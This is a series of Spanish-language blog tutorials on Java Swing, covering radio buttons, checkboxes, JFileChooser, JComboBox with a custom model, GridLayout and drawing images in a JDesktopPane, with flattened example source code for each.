El ejemplo trata sobre la compra de un ordenador (Portatil o de Escritorio), luego, tendremos la opcion de agregarle algunos accesioros mas(memoria usb, y ariculares)

La imagen mostrada es la ventana de interfaz de usuario. En este caso, se ha implementado solamente 2 (dos) clases (Window y ControlaWindow). la primera(Window) es la UI(interfaz de usuario), en otras palabras la ventana dibujando los conponentes(jTextfile, jLabel,jCheckBox, etc), la segunda clase(ControlaWidow), es la encarga de gestionar todos los eventos de la primera, ademas de ejecutar algunas acciones(como sumar y restar) Ahora Entramos a implementar la primera clase(Window.java), un detalles es que para crear los JRadiobutton, es necesario crear, un ButtonGroup que es un componente que agrupa varios JRadiobutton con la finalidad de que todos los JRadiobutton incluidos en el ButtonGroup esten enlazados, de tal forma q solo uno a la vez se puede seleccionar.
ButtonGroup grupoDeBotones = new ButtonGroup(); JRadioButton jrb1 = new JRadioButton(); JRadioButton jrb2 = new JRadioButton(); grupoDeBotones.add(jrb1); grupoDeBotones.add(jrb2);

Por otro lado en la clase Window, hay q crear un objeto de la clase de controlara todos sus eventis, en este caso de ControlaWindow.
ControlaWindow controlawindow = new ControlaWindow();

Aqui en fuente de Window.java:


import javax.swing.*; public class Window extends JFrame { /*Demo por inforux*/ public Window() { initComponents(); } public void initComponents() { grupoDeBotones = new ButtonGroup(); jPanel1 = new JPanel(); jrbCP = new JRadioButton(); jrbCE = new JRadioButton();

jPanel2 = new JPanel(); jchkUsb = new JCheckBox(); jchkAur = new JCheckBox(); jPanel4 = new JPanel(); jLabel2 = new JLabel(); jtfTotal = new JTextField(); jLabel3 = new JLabel(); setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); setTitle("http://inforux.wordpress.com"); setResizable(false); getContentPane().setLayout(null); jPanel1.setBorder(BorderFactory.createTitledBorder("Seleccione Equipo")); jPanel1.setLayout(null); jrbCP.setText("Comp. Portatil ( $ 1000 )"); jPanel1.add(jrbCP); jrbCP.setBounds(10, 23, 200, 30); jrbCE.setText("Comp. de Escritorio ( $ 800 )"); jPanel1.add(jrbCE); jrbCE.setBounds(210, 23, 220, 30); getContentPane().add(jPanel1); jPanel1.setBounds(35, 40, 440, 70); jPanel2.setBorder(BorderFactory.createTitledBorder("Agregados Opcionales")); jPanel2.setLayout(null); jchkUsb.setText("Usb 2 gb ( $.20 )"); jPanel2.add(jchkUsb); jchkUsb.setBounds(10, 20, 160, 23); jchkAur.setText("Auriculares ( $.30 )"); jPanel2.add(jchkAur); jchkAur.setBounds(10, 50, 170, 23); getContentPane().add(jPanel2); jPanel2.setBounds(30, 120, 190, 90); jPanel4.setBorder(BorderFactory.createTitledBorder("Precio Total")); jPanel4.setLayout(null); jLabel2.setText("$."); jPanel4.add(jLabel2); jLabel2.setBounds(30, 20, 20, 20); jPanel4.add(jtfTotal); jtfTotal.setBounds(60, 20, 100, 20); getContentPane().add(jPanel4); jPanel4.setBounds(250, 130, 190, 60); jLabel3.setText("DEMO POR INFORUX");

getContentPane().add(jLabel3); jLabel3.setBounds(180, 10, 150, 30); /*agregamos los JRadioButton al ButtonGroup*/ grupoDeBotones.add(jrbCE); grupoDeBotones.add(jrbCP); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-501)/2, (screenSize.height-252)/2, 501, 252); /*Creamos un objeto controlador de esta clase*/ ControlaWindow controlaWindow = new ControlaWindow(this); /* y luego los agregamos al objeto creado*/ jchkAur.addActionListener(controlaWindow); jchkUsb.addActionListener(controlaWindow); jrbCE.addActionListener(controlaWindow); jrbCP.addActionListener(controlaWindow); } public static void main(String args[]) { new Window().setVisible(true);} // declaramos las variables de los componentes public ButtonGroup grupoDeBotones; public JLabel jLabel2; public JLabel jLabel3; public JPanel jPanel1; public JPanel jPanel2; public JPanel jPanel4; public JCheckBox jchkAur; public JCheckBox jchkUsb; public JRadioButton jrbCE; public JRadioButton jrbCP; public JTextField jtfTotal; }

La segunda clase, solo se dedicara a manejar los eventos de la ventana, ademas de realizar algunas operacines del ejecicio. Aqui el fuente:
import java.awt.event.*; public class ControlaWindow implements ActionListener{/*clase escuchadora de nuestra vista*/ Window ventana;/*declaramos un objeto del tipo window*/ int aur=30,usb=20,cp,ce,total=0;/*declaramos e instanciamos nuestras variables*/ public ControlaWindow(Window objeto){ ventana = objeto; } public void actionPerformed(ActionEvent evento) { if (evento.getSource()== ventana.jchkAur){/*escuchamos el evento en auriculares*/

if (ventana.jchkAur.isSelected()){/*nos aseguramos q esta chekeado*/ total=total+aur; ventana.jtfTotal.setText(Integer.toString(total));} else {/*si no esta chekeado*/ total=total-aur; ventana.jtfTotal.setText(Integer.toString(total));} } else { if (evento.getSource()== ventana.jchkUsb){/*escuchamos el evento en usb*/ if (ventana.jchkUsb.isSelected()){/*nos aseguramos q esta chekeado*/ total=total+usb; ventana.jtfTotal.setText(Integer.toString(total));} else {/*si no esta chekeado*/ total=total-usb; ventana.jtfTotal.setText(Integer.toString(total));} } else { if (evento.getSource()== ventana.jrbCE){/*escuchamos el evento en comp. escritorio*/ total=total-cp; ce=800; total=total+ce; ventana.jtfTotal.setText(Integer.toString(total));} else { if (evento.getSource()== ventana.jrbCP){/*escuchamos el evento en comp. portatil*/ total=total-ce; cp=1000; total=total+cp; ventana.jtfTotal.setText(Integer.toString(total));} }} } } }

Luego, tendremos q compilar la clase Window.java


$javac Window.java

Listo podremos ver el ejemplo en ejecuccion, aquialgunos pantallazos para q ilustren el ejemplo

Espero les sirva de ayuda. Saludos

Aprendiendo con JFileChooser Parte 1


JFileChooser es un componente JAVA, que nos permite selecionar y/o grabar cualquier archivo basicamente dentro de nuestro ordenador, en este oportunidad fijaremos la antencion en la funcion de Seleccion o Abrir

El ejemplo demostracion trata sobre: Selecionar un archivo imagen (.jpg, .gif, .png) y luego tendremos q visualizar dicha imagen aqui la ventana ilustrativa.

Lo Primero q tendremos q hacer es dibujar nuestra interface grafica de usuario(GUI) en este caso WindowDemoFile, lo unico nuevo en esta clase es el JFileChooser
public JFileChooser jfcExaminarEntrada; jfcExaminarEntrada = new JFileChooser();

Esta demas decir q la imagen se visualizara dentro de un JDesktopPane, aqui en fuente:


import javax.swing.*; public class WindowDemoFile extends JFrame { public WindowDemoFile() { initComponents(); } private void initComponents() { setTitle("DEMO POR INFORUX"); setResizable(false); jfcExaminarEntrada = new JFileChooser(); jPanel1 = new JPanel(); jtfRutaEntrada = new JTextField(); jbExaminar = new JButton(); jbLoad = new JButton();

jPanel3 = new JPanel(); jDesktopPane1 = new JDesktopPane(); setDefaultCloseOperation( WindowConstants.EXIT_ON_CLOSE); getContentPane().setLayout(null); jPanel1.setBorder( BorderFactory.createTitledBorder("Ubica el Archivo Imagen")); jPanel1.setLayout(null); jPanel1.add(jtfRutaEntrada); jtfRutaEntrada.setBounds(20, 30, 350, 19); jbExaminar.setText("..."); jPanel1.add(jbExaminar); jbExaminar.setBounds(400, 30, 50, 25); jbLoad.setText("load"); jPanel1.add(jbLoad); jbLoad.setBounds(460, 30, 70, 25); getContentPane().add(jPanel1); jPanel1.setBounds(30, 30, 550, 70); jPanel3.setBorder( BorderFactory.createTitledBorder("Imagen Cargada")); jPanel3.setLayout(null); jPanel3.add(jDesktopPane1); jDesktopPane1.setBounds(20, 30, 530, 340); getContentPane().add(jPanel3); jPanel3.setBounds(20, 110, 570, 390); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-618)/2, (screenSize.height-542)/2, 618, 542); /*declaramos una referencia a nuestra clase control de eventos*/ ControlaEventos controlaEventos =new ControlaEventos (this); jbExaminar.addActionListener(controlaEventos); jbLoad.addActionListener(controlaEventos); } public static void main(String args[]) { new WindowDemoFile().setVisible(true); } public JFileChooser jfcExaminarEntrada; public JButton jbExaminar; public JButton jbLoad; public JDesktopPane jDesktopPane1; public JPanel jPanel1; public JPanel jPanel3; public JTextField jtfRutaEntrada;

} La segunda clase es de nombre ControlaEventos, su mismo nombre lo dice, controla todos los eventos producidos por el usuario. solo controlaremos los 2 botones con nombres q muestran y load. La novedad de esto, es q al producirse el evento en el boton q llama al JFileChoose. este mostrara un dialogo y dentro de el, estara el componente. Para decirle cual de lo 2 tipos (open y/o save), utilizamos los metodos showOpenDialog o showSaveDialog, segun nuestras necesidades.
int result = d.showOpenDialog(ventana para seleccionar un archivo); int result =d.showSaveDialog(ventana para guardar un archivo);

donde d es el frame, internalFrame, mejro dicho es la ventana donde se sobrepondra, ademas esta llamada no entrega nada hasta que el usuario ha aceptado un archivo o cancelado la entrada de ldialogo. El valor de retorno es: JFileChooser.APROVE_OPTION (si haces click en entrar o gravar) JFileChooser.CANCEL_OPTION. ( si hay evento en el boton cancelar del JFileChooser.) Aqui el fuente:
import import import import public java.awt.event.*; java.io.File; java.awt.image.BufferedImage; javax.imageio.ImageIO; class ControlaEventos implements ActionListener{ WindowDemoFile ventana; File fileImagen; public ControlaEventos(WindowDemoFile objeto){ ventana = objeto; } public void actionPerformed(ActionEvent evento)

{ if (evento.getSource()==ventana.jbExaminar){//si hay evento en el boton examinar int returnVal = ventana.jfcExaminarEntrada.showOpenDialog(ventana);//mostramos el jFileChooser if (returnVal == ventana.jfcExaminarEntrada.APPROVE_OPTION) {//nos aseguramos q haya selecionado algun archivo fileImagen = ventana.jfcExaminarEntrada.getSelectedFile();//obtenemos el archivo selecionado ventana.jtfRutaEntrada.setText(fileImagen.toString()); }}//mostramos la ruta del archivo en la caja de texto if (evento.getSource()==ventana.jbLoad){//si hay evento en el boton load

if ( fileImagen != null) { cargarImagen(ventana.jDesktopPane1,fileImagen);}} } /*este metodo recibe el jdeskopPane y el archivo imagen*/ public void cargarImagen(javax.swing.JDesktopPane jDeskp,File fileImagen) { try{ BufferedImage image = ImageIO.read(fileImagen); jDeskp.setBorder(new PintaImagen(image)); } catch (Exception e){ System.out.println("No cargo imagen, sorry"); } } }

La ultima clase, es la misma a la entrada anterior, ahy se explica la clase PintaImagen de todas formas aqui el fuente:
import import import import import java.awt.Component; java.awt.Graphics; java.awt.Insets; java.awt.image.BufferedImage; javax.swing.border.Border;

public class PintaImagen implements Border{ private BufferedImage image ;

public PintaImagen(BufferedImage image ) { this.image=image;} public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) { int x0 = x+ (width-image.getWidth())/2; int y0 = y+ (height-image.getHeight())/2; g.drawImage(image,x0,y0,null); } public Insets getBorderInsets(Component c) { return new Insets(0,0,0,0);} public boolean isBorderOpaque() { return true; } }

Atravez de esta clase convertirlos el File a una imagen para pintarse en un JDesktopPane. Aqui el pantallazo

Como ven. no es complicado mostrar un jFileChooser, solo una simple linea lo haces Saludos!

Aprendiendo con JComboBox Parte 1


holas la verdad q llevaba algunos dias q no posteaba, creanme q he tenido motivos fuertes, jeje en fin creo q fuera de bromas, realizar una tesis, si q es comprometedor!en verdad lo es!. bien, en esta oportunidad seguire mostrandoles lo aprendido, Hoy escribire sobre el JComboBox. JComboBox, es un componente de java q nos sirve para controlar la selecion del usuario final a un determinado conjunto de tipos, algo asi es la idea, ademas creoq eso la lo sabranjeje El ejericio q les mostrare, es una aplicacion q tiene 2 JComboBox, el cual el primer combo controla el contenido del segundo combo, es decir, si selecionas un elemento del primero, el segundo combo, mostrara el contenido respecto a dicha selecion. Una ves entendido, la logica de la aplicacion, lo implementamos, LA VERDAD ES REALMENTE SENCILLO. Para este caso, tendremos 2(dos) clases WindowDemoCombo y ControlDemoCombo. La primera clase(WindowDemoCombo), es la ventana(JFrame, JLabel, JComboBox en fin todos los componentes q actuan en la ventana) q visualiza el usuario. La segunda clase(ControlDemoCombo), es la clase q controla los eventos, en este caso la accion de selecion en el primer JComboBox.

WindowDemoCombo; Creamos los componentes swing, y CREAMOS un objeto de la clase q controlada sus eventos, en este caso;
ControlDemoCombo controlDemoCombo = new ControlDemoCombo(this);

Veamos q al momento de crearlo estamos pasando this, esto quiere decir q al momento de crear la clase q lo controlara, le pasaremos como argumento toda la ventana es obvia la idea, le pasamos toda la ventana, para q asi pueda acceder a ella. Aqui el fuente
/*Demostracion Aprendiendo con JComboBox por inforux.wordpress.com */ import javax.swing.*; public class WindowDemoCombo extends javax.swing.JFrame { /** Creamos el constructor de la misma */ public WindowDemoCombo() { initComponents();} private void initComponents() { jPanel1 = new JPanel(); jLabel1 = new JLabel(); jLabel2 = new JLabel(); jLabel3 = new JLabel(); jComboBox1 = new JComboBox(pais);//creamos el primer combo, y le pasamos un array de cadenas jComboBox1.setSelectedIndex(0);//por defecto quiero visualizar el primer item jComboBox2 = new JComboBox();//creamo el segundo combo, vacio jComboBox2.setEnabled(false);////por defecto q aparesca desabilidado setResizable(false); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); getContentPane().setLayout(null); jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendien do con JComboBox")); jPanel1.setLayout(null); jLabel1.setText("Pais"); jPanel1.add(jLabel1); jLabel1.setBounds(30, 30, 50, 20); jPanel1.add(jComboBox1); jComboBox1.setBounds(100, 30, 150, 24); jPanel1.add(jComboBox2); jComboBox2.setBounds(100, 70, 150, 24); jLabel2.setText("Region"); jPanel1.add(jLabel2); jLabel2.setBounds(30, 70, 60, 20); getContentPane().add(jPanel1); jPanel1.setBounds(10, 50, 370, 110); jLabel3.setText("DEMO POR INFORUX"); getContentPane().add(jLabel3); jLabel3.setBounds(120, 20, 170, 20);

java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-412)/2, (screenSize.height-213)/2, 412, 213); /*Creamos el objeto controlador, para manejar los eventos*/ ControlDemoCombo controlDemoCombo = new ControlDemoCombo(this);//le pasamos como argumento esta misma ventana jComboBox1.addActionListener(controlDemoCombo);//agregamos escuchas } public static void main(String args[]) { new WindowDemoCombo().setVisible(true);} // Desclaramos las variables autilizar String [] regionArgentina={"Buenos Aires","Cordova","Santa Cruz"};//array del segundo combo String [] regionColombia={"Bogota","Cartagena","Cali"};//array del seguno combo String [] regionPeru={"Arequipa","Lima","Piura"};//array del segundo combo String [] pais={"Selecione Pais","Argentina","Colombia","Peru"};//array del primer combo public JComboBox jComboBox1; public JComboBox jComboBox2; public JLabel jLabel1; private JLabel jLabel2; private JLabel jLabel3; private JPanel jPanel1; }

ControlDemoCombo: Es una clase controladora de todas las acciones q realize el usuario en la ventana(WindoDemoCombo). en este caso, la clase implement de ActionListener, y declara una variable del tipo WindowDemoCombo, este nos servira para recibir el valor this, enviado anteriormente.
WindowDemoCombo frameDemoCombo;

La idea es preguntar si la accion viene del primer combo


if (evento.getSource()==frameDemoCombo.jComboBox1)

luego, preguntar cual de los elementos ha hecho click, esto lo podemos hacer con el metodo getSelectedIndex(), este nos retorna el numero del indice seleciono.
if (frameDemoCombo.jComboBox1.getSelectedIndex()==0)

despues de saber, cual esta selecionado solo nos queda llenar el segundo combo, no sin antes elimnar, todos los elementos posibles.

frameDemoCombo.jComboBox2.removeAllItems(); frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]);

Aqui elfuente:
import java.awt.event.*; public class ControlDemoCombo implements ActionListener{ WindowDemoCombo frameDemoCombo; public ControlDemoCombo(WindowDemoCombo objeto){ frameDemoCombo=objeto;} public void actionPerformed(ActionEvent evento) { if (evento.getSource()==frameDemoCombo.jComboBox1)//pregunta si el evento viene del primer combo {/*pregunta si viene del primer elemnto*/ if (frameDemoCombo.jComboBox1.getSelectedIndex()==0){ frameDemoCombo.jComboBox2.removeAllItems(); frameDemoCombo.jComboBox2.setEnabled(false);} /*pregunta si viene del segundo elemnto*/ if (frameDemoCombo.jComboBox1.getSelectedIndex()==1){ frameDemoCombo.jComboBox2.removeAllItems(); for (int i=0; i<frameDemoCombo.regionArgentina.length;i++) frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionArgentina[i]); frameDemoCombo.jComboBox2.setEnabled(true);} /*pregunta si viene del tercer elemnto*/ if (frameDemoCombo.jComboBox1.getSelectedIndex()==2){ frameDemoCombo.jComboBox2.removeAllItems(); for (int i=0; i<frameDemoCombo.regionColombia.length;i++) frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionColombia[i]); frameDemoCombo.jComboBox2.setEnabled(true);} /*pregunta si viene del cuarto elemnto*/ if (frameDemoCombo.jComboBox1.getSelectedIndex()==3){ frameDemoCombo.jComboBox2.removeAllItems(); for (int i=0; i<frameDemoCombo.regionPeru.length;i++) frameDemoCombo.jComboBox2.addItem(frameDemoCombo.regionPeru[i]); frameDemoCombo.jComboBox2.setEnabled(true);} } } }

Y listo ahora , compilar (javac *.java) y Listo, al ejecutar (java WindowDemoCombo), debe aparecer esta pantalla:

Selecionamos y se activara el segundo combo, con sus respectivos valores del primero.

Funciona!, Espero les sea de utilidad. Saludos.

Aprendiendo con JComboBox Parte 2


JComboBox, es un componente swing, y como tal, podemos crear nuestro propio modelo de datos al momento de crear y manipular a este componente(en este caso: jComboBox). Puedes leer MVC en Java para darte la idea general. En este caso, el ejercicio intenta mostrar la forma sencilla al momento de implementar nuestro propio Modelo de datos para un componente JComboBox.

El ejercicio consiste, en una tipica barra de direcciones de un navegador, ingresas la direccion, entras a la pagina, luego el navegador comprueba si existe la direccion,en el caso de no existir, agrega la direccion de la pagina a la barra de direcciones, para un posterior facil acceso. Bien, para este ejercicio implementaremos 3 clase. la vista(WindowDemoEditaCombo), el control(ControlDemoEditaCombo), y el Modelo del JComboBox (ModeloCombo). WindowDemoEditaCombo, esta es la clase, que dibuja los componentes swing; En este caso para crear un JComboBox, necesario primero crear nuestro modelo, el cual recibe una cadena de caracteres, los mismos que seran mostrados como items en el combo.
String [] urls = {"www.java.com","inforux.wordpress.com","www.debian.com"}; modeloCombo = new ModeloCombo(urls); jComboBox1 = new JComboBox(modeloCombo);

Aqui el fuente de la vista(la clase WindowDemoEditaCombo).


import javax.swing.*; public class WindowDemoEditaCombo extends javax.swing.JFrame { public WindowDemoEditaCombo() {/*el constructor de la clase*/ initComponents();} private void initComponents() { setResizable(false); jPanel1 = new JPanel(); jLabel2 = new JLabel(); modeloCombo = new ModeloCombo(urls);//creamos nuestro modelo del Combo jComboBox1 = new JComboBox(modeloCombo);//creamos el jComboBox, le enviamos el modelo. jComboBox1.setEditable(true);//le decimos q sea editable jComboBox1.setSelectedIndex(0); jTextField1 = new JTextField(); jTextField1.setEditable(false);//le decimos q sea NO editable jButton1 = new JButton(); jLabel1 = new JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); getContentPane().setLayout(null);

jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Aprendien do con JComboBox2")); jPanel1.setLayout(null); jLabel2.setText("Direccion Web:"); jPanel1.add(jLabel2); jLabel2.setBounds(10, 40, 110, 20); jPanel1.add(jComboBox1); jComboBox1.setBounds(110, 40, 230, 24); jPanel1.add(jTextField1); jTextField1.setBounds(60, 80, 350, 19); jButton1.setText("Go"); jPanel1.add(jButton1); jButton1.setBounds(350, 40, 70, 25); getContentPane().add(jPanel1); jPanel1.setBounds(10, 30, 440, 120); jLabel1.setText("DEMO POR INFORUX"); getContentPane().add(jLabel1); jLabel1.setBounds(170, 10, 150, 20); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-471)/2, (screenSize.height-190)/2, 471, 190); /*Creamos el objeto controlador de eventos de esta clase*/ ControlDemoEditaCombo controlDemoEditaCombo = new ControlDemoEditaCombo(this); jComboBox1.addActionListener(controlDemoEditaCombo); jButton1.addActionListener(controlDemoEditaCombo); } public static void main(String args[]) { new WindowDemoEditaCombo().setVisible(true);} // declaramos las variables a usar en la ventana public String [] urls = {"Escriba o Selecione","www.java.com","inforux.wordpress.com","www.debian.com"};//cre amos el array, q sera enviado a nuestro propio modelo. ModeloCombo modeloCombo;//Declaramos nuestro modelo public JButton jButton1; public JComboBox jComboBox1; private JLabel jLabel1; private JLabel jLabel2; private JPanel jPanel1; public JTextField jTextField1; }

ControlDemoEditaCombo, es la clase controladora de los eventos q generara el usuario con la aplicacion. por tal motivo implementa los metodos de las clases ActionListener..

Aqui el fuente:
import java.awt.event.*; public class ControlDemoEditaCombo implements ActionListener{ WindowDemoEditaCombo frame; /*el constructor de la clase*/ public ControlDemoEditaCombo(WindowDemoEditaCombo objeto){ frame=objeto;//recibe el objeto a controlar } public void actionPerformed(ActionEvent evento) { if (evento.getSource()==frame.jButton1 || evento.getSource()==frame.jComboBox1) { String cadenaSelecionada=frame.modeloCombo.getSelectedItem().toString(); frame.jTextField1.setText("Direccion Web: "+cadenaSelecionada);//muestra en l jTextFile lo selecionado if (frame.modeloCombo.buscaItem(cadenaSelecionada)== false) frame.modeloCombo.agregaItem(frame.jComboBox1.getSelectedItem().to String()); } } }

ModeloCombo, es la clase modelo del componente JComboBox. cualquier cambio realizado en dicha clase, se vera reflejado en el componente JComboBox. Para crear esta clase, hayq tener en cuenta q sera una clase abstracta, es decir, no sabra en q componente se vera reflejado, ademas esta misma debera heredar de la clase AbstracListModel. Porq heredar de AbstracListModel? .- Sencillamente porque accedesmo a los metodos mas generales, y nos permite implementar metodos propios, segun nuestras necesidades. Tambien debera implementar algunos metodos de la clase ComboBoxModel, Porq implemenar algunos metodos de la clase ComboBoxModel? .- Porq el componente swing es un JComboBox. y es un componente algo especial, ya q es una combinacion de listas con botones, ademas para acceder a los metodos getSelectedItem() y setSelectedItem(). En nuestro caso, aparte de los metodos implementados de la clase ComboBoxModel, hemos codificado algunos metodos adicionales, segun la necesidad del ejercicio. Aqui el fuente:

import javax.swing.AbstractListModel; import javax.swing.ComboBoxModel; class ModeloCombo extends AbstractListModel implements ComboBoxModel{ boolean loEncontro; String [] items = null;//cadena q recibira los datos a mostrar. String itemSelecionado=null; public ModeloCombo (String [] vector){ items = vector; } public Object getElementAt(int index) { return items[index]; } public int getSize() { return items.length; } public void setSelectedItem(Object item) { itemSelecionado = (String) item; fireContentsChanged(this, -1, -1); } public void agregaItem(String cadena){ String [] nuevoItems= new String [items.length+1]; for (int i=0;i<items.length;i++) nuevoItems[i]=items[i]; nuevoItems[items.length]=cadena; items=nuevoItems; fireContentsChanged(this, -1, -1); } public boolean buscaItem(String itemABuscar){ for(int i=0;i<items.length;i++){ if (itemABuscar==items[i]){ loEncontro=true; break;} else { loEncontro=false;} } return loEncontro; } public Object getSelectedItem() { //metodo implementado por la interface JComboBoxModel return itemSelecionado; } }

Bien, una compilada, y listo.


$javac WindowDemoEditaCombo.java $java WindowDemoEditaCombo

Listo, aqui algunos pantallazos:

La idea de esta entrada, es mostrar la eficacia q tenemos si es que nos animamos a implementar nuesto propio modelo de datos para los componentes swing. Espero les sirva a mas de uno. Un saludos.

JAVA: Practicando con GridLayout.


GridLayout, no es mas q otro manejador de disenio, la cual su partcularidad, conciste en crear una matriz, totalmente configurada. Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo setLayout() asignarle el layout correspondiente:
JFrame frame = new JFrame(); frame.setLayout(new GridLayout(Filas, Columnas));

Tambien podemos indicar el espacio entre cada objeto de la matriz.


frame.setLayout(new GridLayout(Filas, Columnas,EspacioEntreFilas, EspacioEntreColumnas));

Creoq con un ejemplo, se entenderia mejor. PAra el ejemplo, he intentado, realizar una pantalla de calculadorajejeje, Aqui el fuente.
/*Demo import import import import import import import import import hecho por INFORUX*/ javax.swing.JTextField; javax.swing.JButton; javax.swing.JPanel; java.awt.FlowLayout; java.awt.GridLayout; javax.swing.JFrame; javax.swing.JLabel; javax.swing.BoxLayout; javax.swing.WindowConstants;

public class DemoGridLayout{

JFrame frame; JPanel panelSuperior, panelInferior; JButton bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9, bt0, btRT, btCE, btCL, btMas, btMenos, btMul, btDiv, btIgual, btMN, btPunto; JTextField pantalla; public DemoGridLayout(){ construyePanelSuperior(); construyePanelInferior(); construyeVentana();} void construyePanelSuperior(){ panelSuperior = new JPanel (); panelSuperior.setLayout(new FlowLayout()); pantalla = new JTextField(20); panelSuperior.add(pantalla);} void construyePanelInferior(){ panelInferior= new JPanel(); panelInferior.setLayout(new GridLayout(5,4,8,8)); bt1=new JButton("1"); bt2=new JButton("2"); bt3=new JButton("3"); bt4=new JButton("4"); bt5=new JButton("5"); bt6=new JButton("6"); bt7=new JButton("7"); bt8=new JButton("8"); bt9=new JButton("9"); bt0=new JButton("0"); btRT=new JButton("Rtc"); btCE=new JButton("CE"); btCL=new JButton("CL"); btMas=new JButton("+"); btMenos=new JButton("-"); btMul=new JButton("x"); btDiv=new JButton("/"); btIgual=new JButton("="); btMN=new JButton("+/-"); btPunto=new JButton("."); panelInferior.add(btRT); panelInferior.add(btCE); panelInferior.add(btCL); panelInferior.add(btMN); panelInferior.add(bt7); panelInferior.add(bt8); panelInferior.add(bt9); panelInferior.add(btDiv); panelInferior.add(bt4); panelInferior.add(bt5); panelInferior.add(bt6); panelInferior.add(btMul); panelInferior.add(bt1); panelInferior.add(bt2); panelInferior.add(bt3); panelInferior.add(btMenos);

panelInferior.add(bt0); panelInferior.add(btPunto); panelInferior.add(btIgual); panelInferior.add(btMas);} void construyeVentana(){ frame =new JFrame("Calculadora "); frame.setLayout(new BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS)); frame.add(panelSuperior); frame.add(panelInferior); frame.pack(); frame.setVisible(true); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);} public static void main(String [] inforux){ new DemoGridLayout();} }

Una compilada, y ejecutamos.


javac DemoGridLayout.java java DemoGridLayout

El resultado sera asi.

La idea, es manejar el GridLayout. Saludos.

Imagenes en JAVA en un JDesktopPane.


Imagenes en java, es quiza algo muy tedioso. sin embargo, existe formas muy practicas, de como poner una imagen de fondo a tu aplicacion atravez de un JDesktopPane. Por eso en esta oportunidad mostrare un ejemplo de seleciones de imagenes dentro de un JDesktopPane,

La idea general es impleementar 3 clases(WindowImagenes, ControlaEventos, PintaImagen). La primera clase(WindowImagenes.java) es la interactua con el usuario, mejro dicho la ventana. La segunda clase(ControlaEventos.java), como su mismo nombre, es la encargada de controlar las acciones ocurridas en la ventana. La tercera clase(PintaImagen.java), es la clase que me permite pintar la imagen en algun como componente java (en este caso jDesktopPane). La primera clase(WindowImagenes), creamos objetos del tipo File y le damos la ruta de nuestra imagen.
public File imagen1 = new File ("Images/java.png");

Aqui el fuente de WindowImagenes.java


import javax.swing.*; import java.io.File; public class WindowImagenes extends JFrame { public WindowImagenes() { initComponents(); } private void initComponents() { buttonGroup1 = new ButtonGroup(); jPanel1 = new JPanel(); jRadioButton1 = new JRadioButton(); jRadioButton2 = new JRadioButton(); jRadioButton3 = new JRadioButton(); jPanel2 = new JPanel(); jDesktopPane1 = new JDesktopPane(); jLabel1 = new JLabel(); setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); setTitle("http://inforux.wordpress.com"); getContentPane().setLayout(null); jPanel1.setBorder(BorderFactory.createTitledBorder("Selecione la Imagen")); jPanel1.setLayout(null); jRadioButton1.setText("Imagen 1"); jPanel1.add(jRadioButton1); jRadioButton1.setBounds(30, 20, 83, 23); jRadioButton2.setText("Imagen 2"); jPanel1.add(jRadioButton2); jRadioButton2.setBounds(170, 20, 83, 23); jRadioButton3.setText("Imagen 3"); jPanel1.add(jRadioButton3); jRadioButton3.setBounds(290, 20, 114, 23); /*agregamos al ButtonGroup los JRadioButtons*/

buttonGroup1.add(jRadioButton1); buttonGroup1.add(jRadioButton2); buttonGroup1.add(jRadioButton3); getContentPane().add(jPanel1); jPanel1.setBounds(20, 50, 440, 60); jPanel2.setBorder(BorderFactory.createTitledBorder("Imagen en el JDesktopPane")); jPanel2.setLayout(null); jPanel2.add(jDesktopPane1); jDesktopPane1.setBounds(20, 30, 390, 270); getContentPane().add(jPanel2); jPanel2.setBounds(20, 120, 440, 330); jLabel1.setText("DEMO POR INFORUX"); getContentPane().add(jLabel1); jLabel1.setBounds(170, 20, 170, 20); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-488)/2, (screenSize.height-493)/2, 488, 493); ControlaEventos controlaEventos =new ControlaEventos(this); jRadioButton1.addActionListener(controlaEventos); jRadioButton2.addActionListener(controlaEventos); jRadioButton3.addActionListener(controlaEventos); } public static void main(String args[]) { new WindowImagenes().setVisible(true); }

public File imagen1 = new File ("Images/java.png"); public File imagen2 = new File ("Images/JavaAnimado.gif"); public File imagen3 = new File ("Images/JavaLoro.jpg"); public JRadioButton jRadioButton1; public JRadioButton jRadioButton2; public JRadioButton jRadioButton3; private ButtonGroup buttonGroup1; public JDesktopPane jDesktopPane1; private JLabel jLabel1; private JPanel jPanel1; private JPanel jPanel2; }

La segunda clase,recibe un objeto de la clase q controlara(en este caso WindowImagenes), ademas manejara todos los eventos realizados en la ventana. Por otro lado implementara el metodo cargarImagen(), el cual recibe, un JDesktopPane, y el archivo Imagen, luego atravez de la clase ImageIO, podremos leer el archivo, como archivo imagen. para luego agregarlo al jDesktopPane con el metodo setBorder()
BufferedImage image = ImageIO.read(fileImagen); jDeskp.setBorder(new PintaImagen(image));

Aqui el fuente de ControlaEventos.java

